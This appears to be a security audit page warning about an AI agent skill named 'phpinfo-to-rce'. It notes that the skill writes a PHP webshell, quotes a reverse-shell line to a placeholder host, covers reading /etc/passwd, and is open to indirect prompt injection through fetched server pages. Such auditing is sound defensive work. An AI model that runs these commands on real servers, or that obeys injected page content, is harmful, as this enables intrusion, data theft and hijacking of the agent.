phpinfo-to-rce

Warn

Audited by Gen Agent Trust Hub on Jul 31, 2026

Risk Level: MEDIUMREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONPROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION]: The skill creates a functional PHP webshell payload and writes it to the local filesystem at /tmp/ws.php. It also executes local shell commands to perform reconnaissance and process remote data.
  • [REMOTE_CODE_EXECUTION]: The skill provides specific commands for executing code on remote target servers, including verification steps and a reverse shell command using bash -i >& /dev/tcp/YOUR_IP/4444.
  • [DATA_EXFILTRATION]: The skill facilitates the discovery and extraction of sensitive server information, such as administrative emails (SERVER_ADMIN), file system paths (DOCUMENT_ROOT), and system files like /etc/passwd.
  • [PROMPT_INJECTION]: The skill is vulnerable to indirect prompt injection. 1. Ingestion: Untrusted data is fetched via curl from remote info.php pages. 2. Boundary markers: Absent. 3. Capability inventory: Access to shell tools (grep, sed, curl). 4. Sanitization: Absent; maliciously crafted server responses could influence agent shell operations.
Audit Metadata
Risk Level
MEDIUM
Analyzed
Jul 31, 2026, 04:47 PM
Security Audit — agent-trust-hub — phpinfo-to-rce